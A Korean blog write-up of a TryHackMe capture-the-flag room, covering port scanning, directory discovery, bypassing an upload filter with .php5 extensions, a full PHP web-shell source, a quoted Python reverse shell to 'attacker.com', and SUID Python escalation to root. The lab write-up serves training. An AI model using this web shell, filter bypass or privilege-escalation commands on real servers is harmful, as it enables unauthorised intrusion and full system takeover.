
TASK 1. Deploy the machine

TASK 2. Reconnaissance

1. Answer : 포트수가 얼마나 있나요?

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)
22tcp/80tcp 가 열려있다 그러므로 총합 2개

2. Answer : 현재 apache 에 버전은 무엇인가요?
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)
버전 : 2.4.29

3. Answer : 22 port 에 어떤 서비스가 동작하나요?
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
서비스 : SSH

( 현재 머신 IP 주소 웹 페이지에 들어가주세요 )


gobuster 이라는 툴을 사용해 웹서버에 숨겨진 경로를 찾으라는 문제.

gobuster dir -u [IP] -w [wordlist]
/uploads (Status: 301) [Size: 314] [--> http://10.10.119.54/uploads/]
/css (Status: 301) [Size: 310] [--> http://10.10.119.54/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.119.54/js/]
/panel (Status: 301) [Size: 312] [--> http://10.10.119.54/panel/]
현재 경로들




파일을 업로드 할수 있는 웹페이지를 발견하였다
5. Answer : 숨겨진 경로는 ?

TASK 3 Getting a shell
1. Answer : 업로드 페이지에 웹쉘 WEB SHELL 활용해 플래그를 얻으시오.

Web shell 을 활용할려고 php 파일을 넣어봤지만 php 파일은 막는다.
하지만 "php 파일만" 막는것이지
.php3, .php4, .php5, .php7
이런식으로 우회가 가능하다
php 기반 리버스쉘 만들기
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

php 가 아닌 php5 로 저장해주면?

성공적으로 올려진다
경로 /upload/

.py 는 무시하고
우리가 올렸던 php 리버스쉘이 보인다.
클릭해주면

이런식으로 cmd 명령어 창이 보인다

cat /var/www/user.txt 경로로 들어가봤더니
flag 가 떳다 !

TASK 4 Privilege escalation

이제 웹쉘을 이용하여 root 로 전환을 해야한다
1. Answer : SUID 와 관련된 웹 디렉토리를 찾으세요
일단 SUID 가 뭔지부터 알아보자

그렇단다
루트 전환을 할려면 SUID 명령어를 활용해야 하는데
https://gtfobins.github.io/gtfobins/python/#suid
python | GTFOBins
Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s
gtfobins.github.io

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
리버스쉘이 아니라 웹쉘로 해버린 실수를 해버렸다
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
github.com
아까와 똑같이



/uploads/

자신이 올렸던 리버스쉘 php 클릭

성공적으로 됬다

python -c 'import pty; pty.spawn("/bin/bash")'
처음에 왜 안되지? 했는데 알고보니

그랬다고 한다
3. Answer : root.txt

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

whoami 를 치니 성공적으로 root 가 보인다



성공적이게 해당 ctf 문제를 풀어버렸다
총시간 : 1시간
리버스쉘 부분에서 애먹었다;; 웹쉘인줄 알고 했더니..
'TryHackMe | CTF' 카테고리의 다른 글
[TryHackMe] | Cyborg write-up [모의해킹] [CTF] (1) | 2024.09.08 |
---|---|
TryHackMe | Windows PrivEsC 모의해킹 Task1,Task2 (0) | 2024.09.08 |
TryHackMe | Simple CTF [웹해킹] [모의해킹] [CTF] (2) | 2024.09.01 |
Tryhackme | Pickle Rick ctf [Tryhackme] [웹해킹] [write-up] (0) | 2024.08.31 |
TryHackMe | Basic Pentesting [write-up] [웹해킹] (0) | 2024.08.31 |